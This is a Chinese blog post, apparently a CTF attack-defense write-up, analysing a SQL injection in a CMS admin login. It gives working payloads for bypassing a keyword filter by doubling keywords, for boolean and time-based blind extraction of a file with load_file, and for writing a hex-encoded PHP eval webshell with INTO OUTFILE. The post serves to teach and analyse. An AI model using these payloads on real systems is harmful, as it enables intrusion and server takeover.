ctf线下赛mysql密码_某CTF线下赛某CMS SQL注入分析

本文记录了一次CTF线下赛中遇到的某CMS SQL注入漏洞的分析过程。通过盲注和时间盲注,成功获取了数据库中的flag,并通过SQL注入写入了webshell,实现了对服务器的权限获取。
摘要由CSDN通过智能技术生成

前段时间,参加一次CTF线下攻防赛,用的是某cms,里面有一个SQL注入漏洞,挺有意思,记录一下分析心得。

系统后台登陆处存在SQL注入,在后台登陆用户名处加个’测试一下:

3698a0d00b0c7acc50e5a01a5b76a91a.png

发现报错,十有八九存在SQL注入

e190ee6f2fd934a56c9e10a961d7f637.png

看下/admin/login.php内容:

1643b74d6c69360ee3b8950143c127a2.png

在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),跟进check_login()看下:

5ae9fa87e88bb2e0d9274aa8c3c487d2.png

在fun.php的971行可以看到SQL语句对user参数进行了拼接,猜测fl_value()和fl_html()是对user进行过滤,跟进分别看下:

2a7fa51b23ae0a345f5fff55798eb90e.png

在fun.php的1755行,fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空。SQL绕过方法,双写绕WAF fl_value,不过这个waf够奇葩,有的关键字是没有空格的,比如“select”,有的关键字前后需要加空格,比如“  in  ”,最终的绕过方法:

select=>selecselectt

from=>fro from m

where=>wher where e

union=>unio union n

load_file不变

outfile=>outfiloutfilee

这里再说下fl_html(),即htmlspecialchars(),这个函数主要进行html实体编码,用来防止XSS:

&(和号) 成为&

" (双引号) 成为 "

' (单引号) 成为 '

< (小于) 成为 <

> (大于) 成为 >

需要注意的是,htmlspecialchars()默认仅编码双引号,并不对单引号进行处理

htmlspecialchars(string,flags,character-set,double_encode)

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

这也就是为什么加了单引号会直接报错的原因。有了SQL注入,如何拿flag?

1.       思路一:load_file()

尝试利用select load_file()读取flag,不过系统开启了本secure-file-priv特性

56efc31e0332248bd3fb509a6ad99c37.png

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()文件导入导出的路径

ure_file_priv的值为null ,表示限制mysqld 不允许导入,导出

secure_file_priv的值为/var/lib/mysql-files/ ,表示限制mysqld 的导入|导出只能发生在/var/lib/mysql-files/目录下

secure_file_priv的值没有具体值时,表示不对mysqld 的导入,导出做限制。

假设此处secure_file_priv为空,我们改怎么利用sql注入读取flag,我在/var/lib/mysql-files/创建了一个flag进行测试。

盲注

user=admin'  an and d 1%23&password=aaa&code=8bae&submit=true&submit.x=36&submit.y=27

返回密码不正确

c33461a449f0d164f0d6d5921f215c39.png

user=admin'  an and d 0%23&password=aaa&code=8bae&submit=true&submit.x=36&submit.y=27

返回不存在该管理用户

a0c9ef33fcc14ef08a6b871f5e71f6bc.png

Ok,返回不同的页面,我们可以根据不同的页面进行猜测,就是盲注,首先才flag长度,Payload:

user=admin'  an and d  (length(load_file('/var/lib/mysql-files/flag')) between 11 a and nd 11)%23&password=aaa&code=ed1f&submit=true&submit.x=36&submit.y=27

为什么用between 11 a and nd 11?因为=被fl_value过滤, >

( load_file('/var/lib/mysql-files/flag') =11)

Hex编码为:

0x28206c6f61645f66696c6528272f7661722f6c69622f6d7973716c2d66696c65732f666c61672729203d313129

Payload:

user=admin'  an and d  0x28206c6f61645f66696c6528272f7661722f6c69622f6d7973716c2d66696c65732f666c61672729203d313129%23&password=aaa&code=f6ad&submit=true&submit.x=36&submit.y=27

Flag长度为11,在进行逐个猜解即可:

user=admin'  an and d  (ord(substr((load_file('/var/lib/mysql-files/flag')),1,1)) between 0x66 a and nd 0x66)%23&password=aaa&code=7a75&submit=true&submit.x=36&submit.y=27

也可以利用时间盲注,payload:

user=admin'  an and d  if((ord(substr((load_file('/var/lib/mysql-files/flag')),1,1)) between 0x67 a and nd

0x67),1,sleep(5))%23&password=aaa&code=3d8b&submit=true&submit.x=36&submit.y=27

还是假设secure-file-priv为空,我们改怎么利用sql注入写shell:

user=admin' un union ion selecselectt 1,2,3,4,'<?php  @eval($_POST[c]);?>' i into nto ououtfiletfile '/var/lib/mysql-files/test1.php'#&password=ss&code=c4a3&submit=true&submit.x=62&submit.y=20

a0334d653d977a5c79b9109a5654b012.png

这个payload中的<>会被fl_html()编码,怎么绕过?16进制编码

user=admin' un union ion selecselectt

1,2,3,4,0x3c3f70687020406576616c28245f504f53545b635d293b3f3e i into nto ououtfiletfile '/var/lib/mysql-files/test2.php'#&password=ss&code=7318&submit=true&submit.x=62&submit.y=20

此时我们在/var/lib/mysql-files/写入了test2.php这个一句话木马:

f92f1a2fa4ec2bf9add52ace3cd3d340.png

至此,就可以通过webshell拿到服务器web权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值